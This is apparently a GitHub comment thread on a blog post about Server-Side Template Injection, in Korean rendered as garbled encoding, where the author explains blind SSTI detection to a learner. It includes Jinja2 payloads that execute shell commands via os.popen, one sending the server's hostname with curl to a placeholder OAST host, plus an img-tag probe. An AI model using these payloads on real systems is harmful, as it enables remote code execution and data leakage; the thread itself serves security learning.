hahwul / assets.hahwul.com

assets for www.hahwul.com
https://assets.hahwul.com
21 stars 8 forks source link

cullinan/ssti/ #111

Closed utterances-bot closed 2 years ago

utterances-bot commented 2 years ago

Server-Side Template Injection (SSTI)

๐Ÿ” Introduction SSTI(Server-Side Template Injection)์€ ๊ณต๊ฒฉ์ž๊ฐ€ Template ์ฝ”๋“œ๋ฅผ ๊ธฐ์กด template์— include ์‹œ์ผœ์„œ ์›ํ•˜๋Š” ์•ก์…˜์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค. ์ด ๋•Œ template injection์ด ๋ฐœ์ƒํ•˜๋Š” ์œ„์น˜๊ฐ€ server-side์ธ ๊ฒฝ์šฐ SSTI๋ผ๊ณ  ๋ถ€๋ฆ…๋‹ˆ๋‹ค. SSTI๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ Server-Side์˜ ๋ Œ๋”๋ง์— ๊ด€์—ฌํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋‹จ์ˆœํ•˜๊ฒŒ๋Š” Client-Side์˜ ์ทจ์•ฝ์ ๋“ค(XSS,CSRF ๋“ฑ) ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ Server-Side์˜ ์ทจ์•ฝ์ ๋“ค(RCE,S

https://www.hahwul.com/cullinan/ssti/

geeneoning commented 2 years ago

์•ˆ๋…•ํ•˜์„ธ์š”! ssti ๋ฅผ ๊ณต๋ถ€ํ•˜๋˜ ์ค‘์— ๊ถ๊ธˆํ•œ ๊ฒƒ์ด ์ƒ๊ฒจ์„œ ์งˆ๋ฌธ ๋‚จ๊น๋‹ˆ๋‹ค! ssti ๋ฅผ ์‹œ๋„ํ•˜๊ธฐ ์œ„ํ•œ ํฌ์ธํŠธ๋ฅผ ํƒ์ƒ‰ํ•  ๋•Œ ์ž…๋ ฅ๊ฐ’์ด ํŽ˜์ด์ง€์— ๋ Œ๋”๋ง ๋˜๊ฑฐ๋‚˜ ํ˜น์€ ์ง์ ‘์ ์œผ๋กœ ๋ณด์—ฌ์ง€์ง„ ์•Š๋”๋ผ๋„ burp ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ํ†ตํ•ด response ์— ์ž…๋ ฅ๊ฐ’์ด ๋ณด์—ฌ์ง„๋‹ค๋ฉด ๊ทธ ๋ถ€๋ถ„์„ ํฌ์ธํŠธ๋กœ ๊ณต๊ฒฉํ•ด ๋ณผ ์ˆ˜ ์žˆ์„ ๊ฒƒ ์ด๋ผ๊ณ  ์ƒ๊ฐ๋˜๋Š”๋ฐ

์ด๋Ÿฐ ์ž…๋ ฅ๊ฐ’์ด ๋ณด์—ฌ์ง€๋Š” ๊ฒฝ์šฐ๊ฐ€ ์•„๋‹ˆ๋”๋ผ๋„ ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ๋Š” ํฌ์ธํŠธ๊ฐ€ ์žˆ์„๊นŒ์š”?!

hahwul commented 2 years ago

@geeneoning ์•ˆ๋…•ํ•˜์„ธ์š”! ๋จผ์ € ์ด์•ผ๊ธฐ์ฃผ์‹ ๋Œ€๋กœ SSTI๋Š” response์— template ๊ตฌ๋ฌธ์ด ์ฒ˜๋ฆฌ๋˜์–ด ๋…ธ์ถœ๋˜๋ฉด ์‰ฝ๊ฒŒ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๊ทธ๋ ‡์ง€ ์•Š๋‹ค๊ณ  ํ•ด๋„ OAST ๋“ฑ์œผ๋กœ Blind SSTI๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” RCE๋‚˜ Blind SSRF๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐฉ๋ฒ•๊ณผ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

๋Œ€๋‹ค์ˆ˜ Blind ์ทจ์•ฝ์ ์€ OAST๋กœ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค ๐Ÿ˜Š

Jinja2๋กœ ์˜ˆ๋ฅผ๋“ค์–ด ๋ณด๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด OAST ์„œ๋น„์Šค๋ฅผ ํ–ฅํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ”„๋ ˆ์ž„์›Œํฌ ๋ณ„๋กœ ๋ฆฌ์ŠคํŠธ๋ฅผ ๋งŒ๋“ค๊ณ , ์ด๋ฅผ Fuzz ํ•˜๋ฉด์„œ OAST ์„œ๋น„์Šค๋กœ ๋„์ฐฉํ•˜๋Š” Interaction(DNS Query, HTTP Request ๋“ฑ)์„ ๋ณด๊ณ  ์‹ค์ œ๋กœ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๋™์ฐฉํ–ˆ๋Š”์ง€ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

{{config.__class__.__init__.__globals__['os'].popen('curl <OAST-SERVICE>').read()}}

๋งŒ์•ฝ ์œ„ ํŽ˜์ด๋กœ๋“œ๋กœ HTTP Request ๊นŒ์ง€ ๋„์ฐฉํ–ˆ๋‹ค๋ฉด, ์•„๋ž˜์™€ ๊ฐ™์ด RCE๋ฅผ ์ฆ๋ช…ํ•  ์ˆ˜ ์žˆ๊ฒ ๋„ค์š” :D

{{config.__class__.__init__.__globals__['os'].popen('hostname | xargs -I % curl <OAST-SERVICE>/%``').read()}}
GET /testpc.local
hahwul commented 2 years ago

@geeneoning ๊ผญ RCE ํ˜•ํƒœ๊ฐ€ ์•„๋‹ˆ๋”๋ผ๋„ ์•„๋ž˜์™€ ๊ฐ™์ด img ํƒœ๊ทธ ๋“ฑ๊ณผ ์กฐํ•ฉํ•ด์„œ ๋ฐฑ์—”๋“œ๋‹จ์—์„œ Template ๋ฌธ๋ฒ•์„ ์ฒ˜๋ฆฌํ•˜๋Š”์ง€ ์ฒดํฌํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ์žˆ๊ฒ ๋„ค์š” :D

<img src="//{{17 * 32}}.OASTSERVICE.com">

Template ์ฒ˜๋ฆฌ ์‹œ 544.OASTSERVICE.com ๋„๋ฉ”์ธ์œผ๋กœ Interaction ๋ฐœ์ƒ

e.g

[544.ca71k25vqc7kr2hpkfjgck8bwneyyyyyn] Received DNS interaction (A) from ********
[544.ca71k25vqc7kr2hpkfjgck8bwneyyyyyn] Received HTTP interaction from ********
geeneoning commented 2 years ago

๋„ˆ๋ฌด ์‹ ๊ธฐํ•˜๋„ค์š”! ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค :)